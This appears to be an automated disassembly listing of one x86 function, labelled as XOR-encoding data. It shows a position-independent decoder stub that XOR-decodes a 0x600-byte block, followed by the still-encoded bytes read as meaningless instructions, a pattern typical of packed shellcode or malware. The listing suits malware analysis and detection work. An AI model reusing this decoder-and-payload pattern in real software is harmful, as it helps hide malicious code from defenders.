Function at 0x1039cd3c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1039cd46
pushal
call 0x1039cd4c
pop ebp
sub ebp, 0x10
sub ebp, 0x39cd3c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x1039cd70
test byte [edi], al
add byte [eax], al
add byte [ecx + 0x33], ah
rol byte [eax - 0x3e], 0xc
add cl, ch
add al, 0
add byte [eax], al
push cs
out 0x6c, eax
dec edi
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x1039cd79
mov eax, 0x39cd3c
add eax, ebp
add eax, 0x63
mov ecx, 0x600
mov edx, 0x62b06c7c
xor byte [eax], dl
inc eax
dec ecx
jne 0x1039cd90
jmp 0x1039cda3
div dword [ecx + 0x7c40f5f7]
jl 0x1039ce27
std
mov ebp, 0x7c7c7c84
jg 0x1039cd64
les edi, [ebp + 0x7c]
jl 0x1039ce34
invalid
xor ch, 0x78
pop eax
int1
sbb byte [eax - 0x80], bl
cmc
js 0x1039ce2f
adc al, 0x1c
pop es
jb 0x1039ce58
adc al, 0xa0
sub eax, 0x507d7c57
pop eax
adc al, 0x5d
pop ebp
ror byte [ebx], 1
push esi
xchg esp, eax
jns 0x1039ce68
jl 0x1039ce6a
xchg ebp, eax
push edx
jl 0x1039ce6e
jl 0x1039cde5
sbb byte [eax - 0x80], bl
cmc
push eax
pop eax
sub byte [ecx], ah
idiv ecx
je 0x1039ce7c
jl 0x1039ce7e
imul ecx
jo 0x1039ce82
jl 0x1039ce84
div ecx
insb byte es:[edi], dx
jl 0x1039ce89
jl 0x1039cdcc
xchg ebp, eax
jle 0x1039ce5f
jle 0x1039ce13
invalid
mov esi, 0xf9733578
mov byte [ebx - 0x41de7c7d], al
jo 0x1039ce9d
div eax
pop eax
js 0x1039cea2
jl 0x1039cea4
jl 0x1039ce3d
adc al, 0x1c
pop es
sbb al, 7
jb 0x1039cea9
adc al, 0xa0
sub eax, 0x507d7c57
pop eax
sub eax, 0x7c7c7994
jl 0x1039cdd1
inc ebp
jle 0x1039cebb
jl 0x1039ce6a
sub byte [ecx], ah
or dword [ecx], 0x70
or dword [ecx], 0x74
xchg esp, eax
adc byte [esp + edi*2 + 0x7c], bh
test ecx, 0x7c7c7c74
dec edi
mov ch, 0x4f
scasb al, byte es:[edi]
call dword [ecx + edi*2 + 0x32f87334]
jl 0x1039cedd
jl 0x1039ced6
hlt
sbb dh, bh
mul dword [eax + 0x45]
pushal
inc ebp
cld
xchg dword [ebx + esi*2 + 0x7c7c66f8], edx
xchg esp, eax
jae 0x1039ce69
jl 0x1039cef0
jl 0x1039cef0
jl 0x1039ce72
xchg dword [ebp + 0x7c6df873], edx
jl 0x1039cefa
jl 0x1039ce99
sbb bh, ch
std
xchg dword [ebx + 0x69f87359], eax
jl 0x1039cf04
pop ecx
jae 0x1039ce7d
clc
imul edi, dword [esp + edi*2 + 0x7c], 0x83b0953d
jl 0x1039cec7
cmp eax, 0x8383b095
xchg ebp, eax
mov al, 0x83
add dword [ebx + 0x7d453055], 0xffffffff
adc dword [ebp + 0x30], 0x45
jge 0x1039ce93
invalid
mov ebp, 0x7894ff79
xchg ebp, eax
rol dword [ebx + 0x28558383], 0x45
adc dword [ebp + 0x28], 0x45
jle 0x1039cea2
invalid
mov ebp, 0x7896ff7a
jp 0x1039cea5
call dword [esi + 0x7994ff78]
xchg ebp, eax
xchg esi, eax
js 0x1039cea8
call dword [ecx + edi*2 - 0x7c7c286b]
xor edi, 0x50
pop eax
int1
xchg esp, eax
jns 0x1039ce41
xlatb
add dword [ebx + 0x5850f783], 0xfffffff1
sbb byte [eax + 0x78], bl
mov esi, 0xf7297c70
nop
sub ch, byte [ebx]
sub edi, esi
not dword [eax - 0x8d6d4d6]
or dword [eax - 9], esi
add dword [eax + eax*4 - 0x32], esi
into
cld
idiv byte [edx - 3]
mov edx, 0x7c7c7c7d
hlt
jl 0x1039cf54
jl 0x1039cea1
jle 0x1039cf58
jl 0x1039cf59
jl 0x1039cf5a
jl 0x1039cf5d
jle 0x1039ce8e
scasb al, byte es:[edi]
jae 0x1039cedb
jns 0x1039cf60
jl 0x1039cf62
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0x1039ceec
jmp dword [ebx + eax*4 - 0x51817c7d]
movsb byte es:[edi], byte [esi]
add dword [ebx + 0x73ae7e83], 0xfffffff9
cmp dword [esi - 0x52], 0x73
stc
jns 0x1039cf73
jl 0x1039cf75
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0x1039ceff
call dword [esi]
push ss
jl 0x1039cf7f
jl 0x1039cf54
dec edi
mov esp, 0xf973ae7e
jns 0x1039cf88
jl 0x1039cf8a
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0x1039cf14
call dword [esi + 0x7d]
jl 0x1039cf95
push esi
jge 0x1039cf94
jl 0x1039cf98
jle 0x1039cec9
scasb al, byte es:[edi]
jae 0x1039cf16
jns 0x1039cf9b
jl 0x1039cf9d
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
cmp ch, byte [esi - 0x52]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0x1039cfaa
jl 0x1039cfac
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0x1039cfb9
jl 0x1039cfbb
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0x1039cfc8
jl 0x1039cfca
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0x7c7af873
clc
jp 0x1039cfd5
jl 0x1039cfd6
jl 0x1039cfd7
jl 0x1039cf53
mul dword [ebx + 0x7ff6a457]
mov dword [0x7ff6a457], eax
push edi
movsb byte es:[edi], byte [esi]
idiv byte [edi - 0xc]
jg 0x1039cf56
hlt
jnp 0x1039cf9f
invalid
jl 0x1039ceff
or al, 0x83
add dword [ebx + 0x7c7c7dc4], 0x7c
jl 0x1039cfee
jl 0x1039cff2
jle 0x1039cf23
scasb al, byte es:[edi]
jae 0x1039cf70
jns 0x1039cff5
jl 0x1039cff7
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0x1039d004
jl 0x1039d006
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0x1039cf8f
mov byte [0x57838383], al
adc dword [edi - 0x41], 0xffffffc7
push edi
mov edi, 0x7c7c7dc7
invalid
jge 0x1039d016
jl 0x1039d018
jl 0x1039d010
jae 0x1039cf97
stc
dec eax
jl 0x1039d01d
jl 0x1039cf68
jge 0x1039d021
jl 0x1039d022
jl 0x1039d023
jl 0x1039d026
jle 0x1039cf57
scasb al, byte es:[edi]
jae 0x1039cfa4
stc
jns 0x1039d029
jl 0x1039d02a
jl 0x1039d02b
jl 0x1039cfa6
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov ch, 0x7e
scasb al, byte es:[edi]
jae 0x1039cfb3
stc
jns 0x1039d038
jl 0x1039d039
jl 0x1039d03a
jl 0x1039cfb5
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0x1039cfc3
mov byte [0x2a838383], al
sub dword [edx], 0xfffffff7
mov edx, dword [edi - 0x77]
invalid
test dword [ebx - 0x277076a9], 0x83749522
xchg ebp, eax
je 0x1039cf57
add dword [ebx + 0x749cbd34], 0xfffffff6
xor dword [edi*4 + 0x7af6749c], 0x3a
xor al, 0xbd
pushfd
je 0x1039cfd1
mov ebp, 0x7af6749c
cmp dh, bh
xchg esp, eax
lds edi, [ebp + 0x7c]
jl 0x1039d060
jp 0x1039d017
not dword [ebp + eax*8 + 0x7c7c7c7d]
jl 0x1039d05f
jl 0x1039d063
jle 0x1039cf94
scasb al, byte es:[edi]
jae 0x1039cfe1
jns 0x1039d066
jl 0x1039d068
imul byte [edx + 0x3a]
outsb dx, byte [esi]
cmp ch, byte [esi - 0x52]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov ch, 0x7e
scasb al, byte es:[edi]
jae 0x1039cff0
jns 0x1039d075
jl 0x1039d077
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0x1039d000
mov byte [0xfd838383], al
add dword [ebx + 0x17c84fd], 0x7c
std
test byte [ecx + eax + 0x7c], bh
jl 0x1039d088
jl 0x1039d00a
std
movsd dword es:[edi], dword [esi]
add dword [ebx - 0x7b027c7d], 0x7c
jns 0x1039d093
add dword [ebx + 0x797c84fd], 0x7c
jl 0x1039d094
jl 0x1039d016
std
movsd dword es:[edi], dword [esi]
add dword [ebx - 0x7b027c7d], 0xfffffffc
cmp ebp, 0xffffff84
cld
jl 0x1039d09f
jl 0x1039d0a0
jl 0x1039d022
std
lodsd eax, dword [esi]
jl 0x1039d0a4
jl 0x1039d0a6
jl 0x1039d028
std
test ah, bh
jl 0x1039d0ab
jl 0x1039d0ac
jl 0x1039d02e
std
lodsd eax, dword [esi]
jl 0x1039d0b0
jl 0x1039d0b2
sub dh, bh
mov edx, dword [edi - 0x74]
invalid
push edi
mov word [edi - 0x186add28], cs
add byte [ebx + 0x3a7af683], 0x4f
mov ch, 0xbc
xchg esp, eax
jge 0x1039d0bf
clc
jl 0x1039d0cc
jl 0x1039d0cd
jl 0x1039d04f
std
lodsd eax, dword [esi]
jle 0x1039d0d1
jl 0x1039d0d3
not dword [edx + ebp - 0x73a87409]
invalid
mov word [edi + 0x7dc722d8], cs
fsub dword [edx]
invalid
and al, bh
jge 0x1039d0e0
jl 0x1039d0e1
jl 0x1039d0e2
jl 0x1039cffc
xchg ebp, eax
jb 0x675b53f0
add byte [ebx + 0x1572183], 0x74
idiv dword [ebx - 0x6608dddd]
add dword [edi + esi*8 - 0x45], esi
and esp, dword [edx]
neg dword [ecx + 0x7c74be21]
and dword [esi + 0x40f77c74], edi
pop eax
int1
sbb byte [eax + 0x78], bl
je 0x1039d0f5
test dword [eax + 0x58], 0x785818f1
and dl, byte [ebp + 0x7c7c7c78]
sal dword [0x40c48491], cl
xchg ecx, eax
test ah, al
inc eax
mov cl, 0x45
jl 0x1039d10f
mov ecx, 0x7f08bcfd
jl 0x1039d113
or byte [edi + 0x7c], bh
jg 0x1039d112
jl 0x1039d05d
lds edx, [ebx - 0x39838382]
xchg ebx, eax
jle 0x1039d117
jl 0x1039d063
dec ecx
dec edx
push esp
inc ecx
dec esp
insb byte es:[edi], dx
cmp al, 0x35
jae 0x1039d0a0
xor eax, 0x838af973
add dword [ebx + 0x7c7c7895], 0x7c
stc
mov al, byte [ebx + 0x78958383]
adc dword [ebp + 0x7c7c7c78], 0x39
xchg ebp, eax
js 0x1039d12a
jl 0x1039d12b
jl 0x1039d12c
jl 0x1039d0ea
cmp dword [ecx + 0x68], edi
jns 0x1039d11b
push 0xceb7ce4d
dec ebp
into
mov bh, 0xce
mov esi, 0xce753ec2
mov esi, 0xe97ef5c2
jle 0x1039d0aa
dec ecx
dec ecx
dec ecx
dec edx
mov bh, 0xc4
pop ss
dec ecx
ffreep st(2)
cmp dword [ebp - 0x21], esi
jne 0x1039d0ad
ffreep st(2)
int 0x79
ret 0x79cd
jge 0x1039d11c
dec ecx
dec ecx
bound edx, qword [ecx + 0x33c2b3ce]
dec ecx
into
mov bl, 0xce
mov al, 0xc2
ret 0x4d30
xor byte [ebp - 0x32], cl
dec ebp
into
mov al, 0xc8
mov bl, 0x49
dec ecx
dec ecx
dec ecx
inc esi
int 0xf
dec ecx
dec ecx
dec ecx
dec edx
lahf
enter 0x418e, 0x49
inc ecx
dec ecx
dec ecx
dec ecx
enter 0x41a0, 0x49
dec ecx
dec ecx
enter 0x49b0, 0x49
dec ecx
dec ecx
inc esi
int 0x85
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
mov eax, dword [0x46a9ca45]
test eax, 0x4ab1c846
inc esi
enter 0x4ab1, 0x49
dec ecx
dec ecx
dec ecx
inc esi
int3
inc esp
dec ecx
dec ecx
dec ecx
das
ret 0xc84e
mov ecx, dword [eax + 0x51]
dec eax
push ecx
add byte [eax], al
retf 0x4b8e